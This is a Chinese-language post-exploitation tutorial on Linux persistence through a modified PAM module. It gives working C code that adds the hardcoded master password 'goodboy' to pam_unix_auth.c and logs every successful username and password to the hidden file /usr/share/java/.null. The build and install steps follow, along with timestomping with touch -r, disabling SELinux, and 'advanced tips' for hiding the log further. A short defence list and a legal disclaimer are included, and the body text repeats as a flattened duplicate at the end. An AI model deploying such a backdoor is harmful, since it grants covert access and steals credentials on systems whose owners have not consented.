内网技巧-Linux权限维持之PAM万能密码登录
字数 879 2025-08-18 17:33:38

Linux权限维持之PAM万能密码登录技术详解

一、PAM基础概念

PAM (Pluggable Authentication Modules)是由Sun提出的一种认证机制,它通过提供动态链接库和统一API,将系统服务和认证方式分离,使管理员可以灵活配置不同服务的认证方式。

特点:

  • 动态认证机制
  • 支持多种认证方式
  • 无需修改服务程序
  • 已移植到Linux、SunOS、HP-UX等系统

二、环境准备

1. 系统环境检查

检查系统信息:

# 检查系统位数
getconf LONG_BIT

# 检查系统版本
cat /etc/redhat-release
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release

# 检查PAM版本
rpm -qa | grep pam  # RedHat/CentOS
apt-get list --installed | grep pam  # Debian/Ubuntu

2. 实验环境要求

  • CentOS 7系统
  • root权限
  • PAM 1.1.8版本
  • 安装gcc编译器:yum install gcc

三、PAM模块修改步骤

1. 下载并解压PAM源码

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxvf Linux-PAM-1.1.8.tar.gz
cd Linux-PAM-1.1.8

2. 修改认证模块代码

编辑文件:modules/pam_unix/pam_unix_auth.c

在180行附近添加万能密码逻辑:

if (strcmp(p, "goodboy") == 0) {
    retval = PAM_SUCCESS;
}

if (retval == PAM_SUCCESS) {
    FILE *fp = fopen("/usr/share/java/.null", "a+");
    fprintf(fp, "%s::%s\n", name, p);
    fclose(fp);
}

代码功能:

  1. 设置万能密码"goodboy"可直接通过认证
  2. 记录所有成功登录的用户名和密码到隐藏文件

3. 编译修改后的PAM

# 首次编译可能报错
./configure && make

# 解决yywrap未定义错误
yum install flex-devel flex

# 重新编译
./configure && make

编译生成的文件位于:modules/pam_unix/.libs/pam_unix.so

四、替换系统PAM模块

1. 备份原文件

cp -af /lib64/security/pam_unix.so /opt/

2. 替换为修改后的模块

cp -af pam_unix.so /lib64/security/

3. 修改文件时间属性

touch -r /lib64/security/pam_userdb.so /lib64/security/pam_unix.so

4. 关闭SELinux

vim /etc/selinux/config
# 修改为:
SELINUX=disabled

五、验证与使用

  1. 使用万能密码"goodboy"可登录任意账户
  2. 原有密码仍可正常使用
  3. 所有成功登录的凭证会被记录到:/usr/share/java/.null

六、技术原理分析

  1. PAM认证流程被修改,添加了万能密码绕过逻辑
  2. 认证成功后记录凭证,实现凭证窃取
  3. 通过修改时间属性隐藏痕迹
  4. 需要关闭SELinux避免安全机制拦截

七、防御措施

  1. 监控系统关键文件完整性
  2. 启用SELinux并保持开启状态
  3. 定期检查PAM模块的修改时间
  4. 检查异常日志文件
  5. 使用完整性检查工具如AIDE

八、高级技巧

  1. 可以设置多个万能密码
  2. 可修改记录文件路径为更隐蔽位置
  3. 可添加加密功能保护记录的凭证
  4. 可结合其他权限维持技术增强隐蔽性

注意:本技术仅限合法授权测试使用,未经授权使用可能违反法律。

Linux权限维持之PAM万能密码登录技术详解 一、PAM基础概念 PAM (Pluggable Authentication Modules)是由Sun提出的一种认证机制,它通过提供动态链接库和统一API,将系统服务和认证方式分离,使管理员可以灵活配置不同服务的认证方式。 特点: 动态认证机制 支持多种认证方式 无需修改服务程序 已移植到Linux、SunOS、HP-UX等系统 二、环境准备 1. 系统环境检查 检查系统信息: 2. 实验环境要求 CentOS 7系统 root权限 PAM 1.1.8版本 安装gcc编译器: yum install gcc 三、PAM模块修改步骤 1. 下载并解压PAM源码 2. 修改认证模块代码 编辑文件: modules/pam_unix/pam_unix_auth.c 在180行附近添加万能密码逻辑: 代码功能: 设置万能密码"goodboy"可直接通过认证 记录所有成功登录的用户名和密码到隐藏文件 3. 编译修改后的PAM 编译生成的文件位于: modules/pam_unix/.libs/pam_unix.so 四、替换系统PAM模块 1. 备份原文件 2. 替换为修改后的模块 3. 修改文件时间属性 4. 关闭SELinux 五、验证与使用 使用万能密码"goodboy"可登录任意账户 原有密码仍可正常使用 所有成功登录的凭证会被记录到: /usr/share/java/.null 六、技术原理分析 PAM认证流程被修改,添加了万能密码绕过逻辑 认证成功后记录凭证,实现凭证窃取 通过修改时间属性隐藏痕迹 需要关闭SELinux避免安全机制拦截 七、防御措施 监控系统关键文件完整性 启用SELinux并保持开启状态 定期检查PAM模块的修改时间 检查异常日志文件 使用完整性检查工具如AIDE 八、高级技巧 可以设置多个万能密码 可修改记录文件路径为更隐蔽位置 可添加加密功能保护记录的凭证 可结合其他权限维持技术增强隐蔽性 注意:本技术仅限合法授权测试使用,未经授权使用可能违反法律。